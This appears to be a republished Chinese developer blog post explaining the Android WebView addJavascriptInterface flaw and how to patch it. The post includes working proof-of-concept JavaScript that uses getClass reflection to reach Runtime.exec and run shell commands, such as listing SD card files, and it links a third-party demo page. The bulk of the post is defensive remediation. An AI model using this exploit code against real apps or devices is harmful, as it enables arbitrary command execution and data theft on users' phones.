Android WebView的Js对象注入漏洞解决方案

简介:

最近在做一个项目过程中,发现了一个很严重的安全漏洞,这个漏洞是乌云平台(http://www.wooyun.org)报告出来的。

1,使用场景

我们很多时候要使用WebView来展示一个网页,现在很多应用为了做到服务端可控,很多结果页都是网页的,而不是本地实现,这样做有很多好处,比如界面的改变不需要重新发布新版本,直接在Server端修改就行了。用网页来展示界面,通常情况下都或多或少都与Java代码有交互,比如点击网页上面的一个按钮,我们需要知道这个按钮点击事件,或者我们要调用某个方法,让页面执行某种动作,为了实现这些交互,我们通常都是使用JS来实现,而WebView已经提供了这样的方法,具体用法如下:
[java]  view plain  copy
  1. mWebView.getSettings().setJavaScriptEnabled(true);  
  2. mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");  
我们向WebView注册一个名叫“jsInterface”的对象,然后在JS中可以访问到jsInterface这个对象,就可以调用这个对象的一些方法,最终可以调用到Java代码中,从而实现了JS与Java代码的交互。
我们一起来看看关于addJavascriptInterface方法在Android官网的描述:
  • This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API level JELLY_BEAN or below, because JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.
  • JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore required to maintain thread safety.
  • The Java object's fields are not accessible.

简单地说,就是用addJavascriptInterface可能导致不安全,因为JS可能包含恶意代码。今天我们要说的这个漏洞就是这个,当JS包含恶意代码时,它可以干任何事情。

2,漏洞描述

通过JavaScript,可以访问当前设备的SD卡上面的任何东西,甚至是联系人信息,短信等。这很恶心吧,嘎嘎。好,我们一起来看看是怎么出现这样的错误的。可以去看看乌云平台上的这个bug描述。 1,WebView添加了JavaScript对象,并且当前应用具有读写SDCard的权限,也就是:android.permission.WRITE_EXTERNAL_STORAGE
2,JS中可以遍历window对象,找到存在“getClass”方法的对象的对象,然后再通过反射的机制,得到Runtime对象,然后调用静态方法来执行一些命令,比如访问文件的命令.
3,再从执行命令后返回的输入流中得到字符串,就可以得到文件名的信息了。然后想干什么就干什么,好危险。核心JS代码如下:
[javascript]  view plain  copy
  1. function execute(cmdArgs)  
  2. {  
  3.     for (var obj in window) {  
  4.         if ("getClass" in window[obj]) {  
  5.             alert(obj);  
  6.             return  window[obj].getClass().forName("java.lang.Runtime")  
  7.                  .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
  8.         }  
  9.     }  
  10. }   

3,漏洞证明

举例一:为了证明这个漏洞,写了一个demo来说明。我就只是加载一个包含恶意JS代码的本地网页,HTML其代码如下:
[html]  view plain  copy
  1. <html>  
  2.   <head>  
  3.     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">  
  4.     <script>  
  5.       var i=0;  
  6.       function getContents(inputStream)  
  7.       {  
  8.         var contents = ""+i;  
  9.         var b = inputStream.read();  
  10.         var i = 1;  
  11.         while(b != -1) {  
  12.             var bString = String.fromCharCode(b);  
  13.             contents += bString;  
  14.             contents += "\n"  
  15.             b = inputStream.read();  
  16.         }  
  17.         i=i+1;  
  18.         return contents;  
  19.        }  
  20.         
  21.        function execute(cmdArgs)  
  22.        {  
  23.         for (var obj in window) {  
  24.             console.log(obj);  
  25.             if ("getClass" in window[obj]) {  
  26.                 alert(obj);  
  27.                 return window[obj].getClass().forName("java.lang.Runtime").  
  28.                     getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
  29.              }  
  30.          }  
  31.        }   
  32.         
  33.       var p = execute(["ls","/mnt/sdcard/"]);  
  34.       document.write(getContents(p.getInputStream()));  
  35.     </script>  
  36.   
  37.     <script language="javascript">  
  38.       function onButtonClick()   
  39.       {  
  40.         // Call the method of injected object from Android source.  
  41.         var text = jsInterface.onButtonClick("从JS中传递过来的文本!!!");  
  42.         alert(text);  
  43.       }  
  44.   
  45.       function onImageClick()   
  46.       {  
  47.         //Call the method of injected object from Android source.  
  48.         var src = document.getElementById("image").src;  
  49.         var width = document.getElementById("image").width;  
  50.         var height = document.getElementById("image").height;  
  51.   
  52.         // Call the method of injected object from Android source.  
  53.         jsInterface.onImageClick(src, width, height);  
  54.       }  
  55.     </script>  
  56.   </head>  
  57.   
  58.   <body>  
  59.       <p>点击图片把URL传到Java代码</p>  
  60.       <img class="curved_box" id="image"   
  61.          onclick="onImageClick()"  
  62.          width="328"  
  63.          height="185"  
  64.          src="http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg"  
  65.          onerror="this.src='background_chl.jpg'"/>  
  66.     </p>  
  67.     <button type="button" onclick="onButtonClick()">与Java代码交互</button>  
  68.   </body>  
  69. </html>  
这段HTML的运行效果如下:

图一:期望运行结果图

上图中,点击 按钮后,JS中传递 一段文本到Java代码,显示一下个toast,点击 图片后,把图片的URL,width,height传到Java层,也用toast显示出来。
要实现这样的功能,就需要注Java对象。

简单说明一下
1,请看 execute()这个方法,它遍历所有window的对象,然后找到包含getClass方法的对象,利用这个对象的类,找到java.lang.Runtime对象,然后调用“getRuntime”静态方法方法得到Runtime的实例,再调用exec()方法来执行某段命令。
2,getContents()方法,从流中读取内容,显示在界面上。
3,关键的代码就是以下两句
[javascript]  view plain  copy
  1. return window[obj].getClass().forName("java.lang.Runtime").  
  2.                     getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
Java代码实现如下:
[java]  view plain  copy
  1. mWebView = (WebView) findViewById(R.id.webview);  
  2. mWebView.getSettings().setJavaScriptEnabled(true);  
  3. mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");  
  4. mWebView.loadUrl("file:///android_asset/html/test.html");  
需要添加的权限:
[html]  view plain  copy
  1. <uses-permission android:name="android.permission.INTERNET"/>  
  2. <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />  
  3. <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />  
当点击LOAD菜单后,运行截图如下:(理论上应该出现图一界面)

图二:实际运行结果,列出了SDCard中的文件

举例二:360浏览器也存在这个问题,我测试的系统是android 4.0.2,360浏览器版本是:4.8.7
在浏览器输入框中输入:http://bitkiller.duapp.com/jsobj.html,然后前往,它会出现如下的界面

图三:360浏览器运行结果
说明:其中searchBoxJavaBridge_不是360注入的对象,而是WebView内部注入的,这是在3.0以后的Android系统上添加的。

在关闭这个对话框之后,它会列出当前SDCard上面的所有文件列表,如下图所示

图四:错误结果

4,解决方案

1,Android 4.2以上的系统
在Android 4.2以上的,google作了修正,通过在Java的远程方法上面声明一个@JavascriptInterface,如下面代码:
[java]  view plain  copy
  1. class JsObject {  
  2.    @JavascriptInterface  
  3.    public String toString() { return "injectedObject"; }  
  4. }  
  5. webView.addJavascriptInterface(new JsObject(), "injectedObject");  
  6. webView.loadData("""text/html"null);  
  7. webView.loadUrl("javascript:alert(injectedObject.toString())");  
2,Android 4.2以下的系统
这个问题比较难解决,但也不是不能解决。
首先,我们肯定不能再调用addJavascriptInterface方法了。关于这个问题,最核心的就是要知道JS事件这一个动作,JS与Java进行交互我们知道,有以下几种,比prompt, alert等,这样的动作都会对应到 WebChromeClient类中相应的方法,对于prompt,它对应的方法是 onJsPrompt方法,这个方法的声明如下:
[java]  view plain  copy
  1. public boolean onJsPrompt(WebView view, String url, String message,   
  2.     String defaultValue, JsPromptResult result)  
通过这个方法,JS能把信息(文本)传递到Java,而Java也能把信息(文本)传递到JS中,通知这个思路我们能不能找到解决方案呢?
经过一番尝试与分析,找到一种比较可行的方案,请看下面几个小点:
【1】让JS调用一个Javascript方法,这个方法中是调用prompt方法,通过prompt把JS中的信息传递过来,这些信息应该是我们组合成的一段有意义的文本,可能包含: 特定标识,方法名称,参数等。在 onJsPrompt方法中,我们去解析传递过来的文本,得到方法名,参数等,再通过反射机制,调用指定的方法,从而调用到Java对象的方法。
【2】关于返回值,可以通过prompt返回回去,这样就可以把Java中方法的处理结果返回到Js中。
【3】我们需要动态生成一段声明Javascript方法的JS脚本,通过loadUrl来加载它,从而注册到html页面中,具体的代码如下:
[javascript]  view plain  copy
  1. javascript:(function JsAddJavascriptInterface_(){  
  2.     if (typeof(window.jsInterface)!='undefined') {      
  3.         console.log('window.jsInterface_js_interface_name is exist!!');}   
  4.     else {  
  5.         window.jsInterface = {          
  6.             onButtonClick:function(arg0) {   
  7.                 return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]}));  
  8.             },  
  9.               
  10.             onImageClick:function(arg0,arg1,arg2) {   
  11.                 prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]}));  
  12.             },  
  13.         };  
  14.     }  
  15. }  
  16. )()  
说明:
1,上面代码中的 jsInterface就是要注册的对象名,它注册了两个方法, onButtonClick(arg0)和onImageClick(arg0, arg1, arg2),如果有返回值,就添加上return。
2,prompt中是我们约定的字符串,它包含特定的标识符 MyApp:,后面包含了一串JSON字符串,它包含了 方法名,参数,对象名等。
3,当JS调用onButtonClick或onImageClick时,就会回调到Java层中的 onJsPrompt方法,我们再解析出方法名,参数,对象名,再反射调用方法。
4,window.jsInterface这表示在window上声明了一个Js对象,声明方法的形式是: 方法名:function(参数1,参数2) 

5,一些思考

以下是在实现这个解决方案过程中遇到的一些问题和思考:
【1】生成Js方法后,加载这段Js的时机是什么?
刚开始时在当WebView正常加载URL后去加载Js,但发现会存在问题,如果当WebView跳转到下一个页面时,之前加载的Js就可能无效了,所以需要再次加载。这个问题经过尝试,需要在以下几个方法中加载Js,它们是WebChromeClient和WebViewClient的方法:
  • onLoadResource
  • doUpdateVisitedHistory
  • onPageStarted
  • onPageFinished
  • onReceivedTitle
  • onProgressChanged
目前测试了这几个地方,没什么问题,这里我也不能完全确保没有问题。

【2】需要过滤掉Object类的方法
由于通过反射的形式来得到指定对象的方法,他会把基类的方法也会得到,最顶层的基类就是Object,所以我们为了不把getClass方法注入到Js中,所以我们需要把Object的公有方法过滤掉。这里严格说来,应该有一个需要过滤方法的列表。目前我的实现中,需要过滤的方法有:
        "getClass",
        "hashCode",
        "notify",
        "notifyAll",
        "equals",
        "toString",
        "wait",

【3】通过手动loadUrl来加载一段js,这种方式难道js中的对象就不在window中吗?也就是说,通过遍历window的对象,不能找到我们通过loadUrl注入的js对象吗?
关于这个问题,我们的方法是通过Js声明的,通过loadUrl的形式来注入到页面中,其实本质相当于把我们这动态生成的这一段Js直接写在Html页面中,所以,这些Js中的window中虽然包含了我们声明的对象,但是他们并不是Java对象,他们是通过Js语法声明的,所以不存在getClass之类的方法。本质上他们是Js对象。

【4】在Android 3.0以下,系统自己添加了一个叫searchBoxJavaBridge_的Js接口,要解决这个安全问题,我们也需要把这个接口删除,调用removeJavascriptInterface方法。这个searchBoxJavaBridge_好像是跟google的搜索框相关的。

【5】在实现过程中,我们需要判断系统版本是否在4.2以下,因为在4.2以上,Android修复了这个安全问题。我们只是需要针对4.2以下的系统作修复。


转载请注明出处,谢谢大家!!!

目录
打赏
0
0
0
0
66
分享
相关文章
JS浮点数精度问题及高精度小数运算:BigNumber解决方案
JS浮点数精度问题及高精度小数运算:BigNumber解决方案
346 0
如何在 JavaScript 中使用 __proto__ 实现对象的继承?
使用`__proto__`实现对象继承时需要注意原型链的完整性和属性方法的正确继承,避免出现意外的行为和错误。同时,在现代JavaScript中,也可以使用`class`和`extends`关键字来实现更简洁和直观的继承语法,但理解基于`__proto__`的继承方式对于深入理解JavaScript的面向对象编程和原型链机制仍然具有重要意义。
如何确保 Math 对象的方法在不同的 JavaScript 环境中具有一致的精度?
【10月更文挑战第29天】通过遵循标准和最佳实践、采用固定精度计算、进行全面的测试与验证、避免隐式类型转换以及持续关注和更新等方法,可以在很大程度上确保Math对象的方法在不同的JavaScript环境中具有一致的精度,从而提高代码的可靠性和可移植性。
uni-app开发微信小程序:四大解决方案,轻松应对主包与vendor.js过大打包难题
uni-app开发微信小程序:四大解决方案,轻松应对主包与vendor.js过大打包难题
986 1
JavaScript中对象的数据拷贝
本文介绍了JavaScript中对象数据拷贝的问题及解决方案。作者首先解释了对象赋值时地址共享导致的值同步变化现象,随后提供了五种解决方法:手动复制、`Object.assign`、扩展运算符、`JSON.stringify`与`JSON.parse`组合以及自定义深拷贝函数。每种方法都有其适用场景和局限性,文章最后鼓励读者关注作者以获取更多前端知识分享。
48 1
JavaScript中对象的数据拷贝
探索安卓和iOS应用开发中的跨平台解决方案
【10月更文挑战第42天】在移动应用开发的广阔天地中,安卓和iOS系统如同两座巍峨的山峰,分别占据着半壁江山。开发者们在这两座山峰之间穿梭,努力寻找一种既能节省资源又能提高效率的跨平台开发方案。本文将带你走进跨平台开发的世界,探讨各种解决方案的优势与局限,并分享一些实用的代码示例,助你在应用开发的道路上更加游刃有余。
除了 Generator 函数,还有哪些 JavaScript 异步编程解决方案?
【10月更文挑战第30天】开发者可以根据具体的项目情况选择合适的方式来处理异步操作,以实现高效、可读和易于维护的代码。
JavaScript 中 Math 对象常用方法
【10月更文挑战第29天】JavaScript中的Math对象提供了丰富多样的数学方法,涵盖了基本数学运算、幂运算、开方、随机数生成、极值获取以及三角函数等多个方面,为各种数学相关的计算和处理提供了强大的支持,是JavaScript编程中不可或缺的一部分。
Android|WebView 禁止长按,限制非白名单域名的跳转层级
如何限制 WebView 仅域名白名单网址能随意跳转,并禁用长按选择文字。
80 2
JS 异步解决方案的发展历程以及优缺点
本文介绍了JS异步解决方案的发展历程,从回调函数到Promise,再到Async/Await,每种方案的优缺点及应用场景,帮助开发者更好地理解和选择合适的异步处理方式。

热门文章

最新文章

  • 1
    Android历史版本与APK文件结构
    15
  • 2
    【01】噩梦终结flutter配安卓android鸿蒙harmonyOS 以及next调试环境配鸿蒙和ios真机调试环境-flutter项目安卓环境配置-gradle-agp-ndkVersion模拟器运行真机测试环境-本地环境搭建-如何快速搭建android本地运行环境-优雅草卓伊凡-很多人在这步就被难倒了
    11
  • 3
    【03】仿站技术之python技术,看完学会再也不用去购买收费工具了-修改整体页面做好安卓下载发给客户-并且开始提交网站公安备案-作为APP下载落地页文娱产品一定要备案-包括安卓android下载(简单)-ios苹果plist下载(稍微麻烦一丢丢)-优雅草卓伊凡
    14
  • 4
    【01】仿站技术之python技术,看完学会再也不用去购买收费工具了-用python扒一个app下载落地页-包括安卓android下载(简单)-ios苹果plist下载(稍微麻烦一丢丢)-客户的麻将软件需要下载落地页并且要做搜索引擎推广-本文用python语言快速开发爬取落地页下载-优雅草卓伊凡
    23
  • 5
    【03】微信支付商户申请下户到配置完整流程-微信开放平台创建APP应用-填写上传基础资料-生成安卓证书-获取Apk签名-申请+配置完整流程-优雅草卓伊凡
    64
  • 6
    Cellebrite UFED 4PC 7.71 (Windows) - Android 和 iOS 移动设备取证软件
    6
  • 7
    escrcpy:【技术党必看】Android开发,Escrcpy 让你无线投屏新体验!图形界面掌控 Android,30-120fps 超流畅!🔥
    2
  • 8
    即时通讯安全篇(一):正确地理解和使用Android端加密算法
    5
  • 9
    Android实战经验之Kotlin中快速实现MVI架构
    10
  • 10
    android FragmentManager 删除所有Fragment 重建
    7